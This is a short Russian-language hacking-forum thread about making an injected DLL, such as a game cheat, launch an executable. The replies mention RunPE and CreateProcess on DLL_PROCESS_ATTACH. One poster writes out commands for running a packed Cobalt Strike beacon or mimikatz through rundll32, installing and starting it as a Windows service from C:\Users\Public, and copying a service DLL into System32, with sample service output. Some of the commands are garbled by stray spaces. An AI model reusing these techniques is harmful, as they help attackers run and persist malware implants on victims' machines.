Метод запуска exe при инжектировании dll

[РКН]

В общем хочу понять как сделать чтобы при инжектировании dll допустим тот же чит на кс происходил запуск exe буду благодарен если поможете

 

[c0d3r_0f_shr0d13ng3r]

В общем хочу понять как сделать чтобы при инжектировании dll допустим тот же чит на кс происходил запуск exe буду благодарен если поможете

Уточни пожалуйста, кто должен запускать .exe, инжектированный процесс при инжекте в него длл или сама длл? Из описания не понятно.

 

[blackteam007]

это скорее не инжектирование а dll лоадер ))
либо RunPE это запуск exe через инжект в легитимный процесс

 

[РКН]

Уточни пожалуйста, кто должен запускать .exe, инжектированный процесс при инжекте в него длл или сама длл? Из описания не понятно.

сама длл

 

[c0d3r_0f_shr0d13ng3r]

сама длл

Ну тогда просто CreateProcess/ShellExecute на DLL_PROCESS_ATTACH добавить и все

 

[r1z]

Create DLL from beacon.exe or mimikatz.exe and inject it via tasklist; or register functions;

service-exe injection;

 C:> rundll32. \ Beacon.exe.packed.dll, DllMain

DLL injection;

 sc create beacon.r1z binpath = C: \ Users \ Public \ beacon.exe.packed.service.exe

C: \ Users \ Public> sc start beacon.r1z
SERVICE_NAME: beacon.r1z
        TYPE: 20 WIN32_OWN_PROCESS
        STATE: 4 RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE: 0 (0x0)
        SERVICE_EXIT_CODE: 0 (0x0)
        CHECKPOINT: 0x0
        WAIT_HINT: 0x0
        PID: 913
        FLAGS: 0x0

service-DLL

 copy / y beacon.packed.exe.service.dll% SystemRoot% \ System32 \ SvcHostDemo.dll
etc command injection ../

NOTE: make sure about the command space;